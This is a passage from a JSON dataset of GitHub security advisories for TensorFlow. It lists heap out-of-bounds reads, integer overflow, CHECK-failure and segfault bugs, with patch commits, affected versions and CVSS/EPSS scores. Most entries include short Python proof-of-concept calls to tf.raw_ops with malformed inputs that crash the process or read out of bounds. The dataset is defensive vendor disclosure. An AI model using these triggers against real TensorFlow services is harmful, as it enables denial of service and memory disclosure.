University.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:10:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2vv3-56qg-g2cf","https://nvd.nist.gov/vuln/detail/CVE-2022-29200","https://github.com/tensorflow/tensorflow/commit/803404044ae7a1efac48ba82d74111fce1ddb09a","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/rnn/lstm_ops.cc","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-2vv3-56qg-g2cf"],"source_kind":"github","identifiers":["GHSA-2vv3-56qg-g2cf","CVE-2022-29200"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.751Z","updated_at":"2023-07-21T19:30:12.000Z","epss_percentage":0.00044,"epss_percentile":0.12442},{"uuid":"GSA_kwCzR0hTQS1mNTRwLWY2anAtNHJocs0W_A","url":"https://github.com/advisories/GHSA-f54p-f6jp-4rhr","title":"Heap OOB in `FusedBatchNorm` kernels","description":"### Impact\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/e71b86d47f8bc1816bf54d7bddc4170e47670b97/tensorflow/core/kernels/fused_batch_norm_op.cc#L1292) of `FusedBatchNorm` kernels is vulnerable to a heap OOB:\n\n```python\nimport tensorflow as tf\n    \ntf.raw_ops.FusedBatchNormGrad(\n  y_backprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32)\n  x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32)\n  scale=[1,1],\n  reserve_space_1=[1,1],\n  reserve_space_2=[1,1,1],\n  epsilon=1.0,\n  data_format='NCHW',\n  is_training=True) \n```\n  \n### Patches\nWe have patched the issue in GitHub commit [aab9998916c2ffbd8f0592059fad352622f89cda](https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-10T18:46:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f54p-f6jp-4rhr","https://nvd.nist.gov/vuln/detail/CVE-2021-41223","https://github.com/tensorflow/tensorflow/commit/aab9998916c2ffbd8f0592059fad352622f89cda","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-632.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-830.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-415.yaml","https://github.com/advisories/GHSA-f54p-f6jp-4rhr"],"source_kind":"github","identifiers":["GHSA-f54p-f6jp-4rhr","CVE-2021-41223"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003c 2.4.4"},{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 2.5.2"},{"first_patched_version":"2.6.1","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:43.538Z","updated_at":"2024-11-13T22:02:25.000Z","epss_percentage":0.00019,"epss_percentile":0.02667},{"uuid":"GSA_kwCzR0hTQS1oMndxLXBydjktMmY1Ns4AArBF","url":"https://github.com/advisories/GHSA-h2wq-prv9-2f56","title":"Missing validation crashes `QuantizeAndDequantizeV4Grad`","description":"### Impact\nThe implementation of [`tf.raw_ops.QuantizeAndDequantizeV4Grad`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=tf.constant(1, shape=[2,2], dtype=tf.float64),\n  input=tf.constant(1, shape=[2,2], dtype=tf.float64),\n  input_min=tf.constant([], shape=[0], dtype=tf.float64),\n  input_max=tf.constant(-10, shape=[], dtype=tf.float64),\n  axis=-1)\n```\n\nThe code assumes `input_min` and `input_max` are scalars but there is no validation for this.\n\n### Patches\nWe have patched the issue in GitHub commit [098e7762d909bac47ce1dbabe6dfd06294cb9d58](https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58).\n    \nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:06:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h2wq-prv9-2f56","https://nvd.nist.gov/vuln/detail/CVE-2022-29192","https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-h2wq-prv9-2f56"],"source_kind":"github","identifiers":["GHSA-h2wq-prv9-2f56","CVE-2022-29192"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.815Z","updated_at":"2023-01-27T05:02:02.000Z","epss_percentage":0.00072,"epss_percentile":0.22498},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpmN2gtN204NS13MnYy","url":"https://github.com/advisories/GHSA-jf7h-7m85-w2v2","title":"Integer overflow in TFLite memory allocation","description":"### Impact\nThe TFLite code for allocating `TFLiteIntArray`s is [vulnerable to an integer overflow issue](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27):\n\n```cc\nint TfLiteIntArrayGetSizeInBytes(int size) {\n  static TfLiteIntArray dummy;\n  return sizeof(dummy) + sizeof(dummy.data[0]) * size;\n}   \n```\n\nAn attacker can craft a model such that the `size` multiplier is so large that the return value overflows the `int` datatype and becomes negative. In turn, this results in [invalid value being given to `malloc`](https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L47-L52):\n\n```cc\nTfLiteIntArray* TfLiteIntArrayCreate(int size) {\n  TfLiteIntArray* ret = (TfLiteIntArray*)malloc(TfLiteIntArrayGetSizeInBytes(size));\n  ret-\u003esize = size; \n  return ret;\n}\n``` \n\nIn this case, `ret-\u003esize` would dereference an invalid pointer.\n\n### Patches\nWe have patched the issue in GitHub commit [7c8cc4ec69cd348e44ad6a2699057ca88faad3e5](https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jf7h-7m85-w2v2","https://nvd.nist.gov/vuln/detail/CVE-2021-29605","https://github.com/tensorflow/tensorflow/commit/7c8cc4ec69cd348e44ad6a2699057ca88faad3e5","https://github.com/tensorflow/tensorflow/blob/4ceffae632721e52bf3501b736e4fe9d1221cdfa/tensorflow/lite/c/common.c#L24-L27","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-533.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-731.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-242.yaml","https://github.com/advisories/GHSA-jf7h-7m85-w2v2"],"source_kind":"github","identifiers":["GHSA-jf7h-7m85-w2v2","CVE-2021-29605"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.268Z","updated_at":"2024-11-13T16:10:07.000Z","epss_percentage":0.0002,"epss_percentile":0.03484},{"uuid":"GSA_kwCzR0hTQS12amc0LXYzM2MtZ2djNM0ocA","url":"https://github.com/advisories/GHSA-vjg4-v33c-ggc4","title":"Out of bounds read in Tensorflow","description":"### Impact \nThe [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.FractionalAvgPoolGrad(\n    orig_input_tensor_shape=[2,2,2,2],\n    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],\n    row_pooling_sequence=[-10,1,2,3],\n    col_pooling_sequence=[1,2,3,4],\n    overlapping=True)\n  return y\n    \ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T18:29:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vjg4-v33c-ggc4","https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360","https://nvd.nist.gov/vuln/detail/CVE-2022-21730","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-54.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-109.yaml","https://github.com/advisories/GHSA-vjg4-v33c-ggc4"],"source_kind":"github","identifiers":["GHSA-vjg4-v33c-ggc4","CVE-2022-21730"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.150Z","updated_at":"2024-11-13T22:11:43.000Z","epss_percentage":0.00296,"epss_percentile":0.52486},{"uuid":"GSA_kwCzR0hTQS1wMnhmLThoZ20taHB3Nc4AAu26","url":"https://github.com/advisories/GHSA-p2xf-8hgm-hpw5","title":"TensorFlow vulnerable to `CHECK` fail in `ParameterizedTruncatedNormal`","description":"### Impact\n`ParameterizedTruncatedNormal` assumes `shape` is of type `int32`. A valid `shape` of type `int64` results in a mismatched type `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\nseed = 1618\nseed2 = 0\nshape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)\nmeans = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nstdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nminvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\nmaxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)\ntf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [72180be03447a10810edca700cbc9af690dfeb51](https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:30:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2xf-8hgm-hpw5","https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35984","https://github.com/advisories/GHSA-p2xf-8hgm-hpw5"],"source_kind":"github","identifiers":["GHSA-p2xf-8hgm-hpw5","CVE-2022-35984"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.881Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS0zOTdjLTVnMmotcXhwds4AAu21","url":"https://github.com/advisories/GHSA-397c-5g2j-qxpv","title":"TensorFlow vulnerable to segfault in `SparseBincount`","description":"### Impact\nIf `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\nbinary_output = True\nindices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)\nvalues = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)\ndense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)\nsize = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)\nweights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)\ntf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:27:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-397c-5g2j-qxpv","https://github.com/tensorflow/tensorflow/commit/40adbe4dd15b582b0210dfbf40c243a62f5119fa","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35982","https://github.com/advisories/GHSA-397c-5g2j-qxpv"],"source_kind":"github","identifiers":["GHSA-397c-5g2j-qxpv","CVE-2022-35982"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.923Z","updated_at":"2023-01-28T05:02:55.000Z","epss_percentage":0.0022,"epss_percentile":0.44672},{"uuid":"GSA_kwCzR0hTQS12eHY4LXI4cTItNjN4d84AAu20","url":"https://github.com/advisories/GHSA-vxv8-r8q2-63xw","title":"TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`","description":"### Impact\n`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\noverlapping = True\norig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\norig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nout_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nrow_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ncol_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ntf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-09-16T22:26:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vxv8-r8q2-63xw","https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-35981","https://github.com/advisories/GHSA-vxv8-r8q2-63xw"],"source_kind":"github","identifiers":["GHSA-vxv8-r8q2-63xw","CVE-2022-35981"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:57.931Z","updated_at":"2023-01-28T05:02:55.000Z","epss_percentage":0.00215,"epss_percentile":0.44148},{"uuid":"GSA_kwCzR0hTQS12Z3ZoLTJwZjQtanIyeM4AAu2y","url":"https://github.com/advisories/GHSA-vgvh-2pf4-jr2x","title":"TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange`","description":"### Impact\nIf `QuantizeDownAndShrinkRange` is given nonscalar inputs for `input_min` or `input_max`, it results in a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nout_type = tf.quint8\ninput = tf.constant([1], shape=[3], dtype=tf.qint32)\ninput_min = tf.constant([], shape=[0], dtype=tf.float32)\ninput_max = tf.constant(-256, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type)\n```\n\n### Patches\nWe have patched the issue in GitHub commit 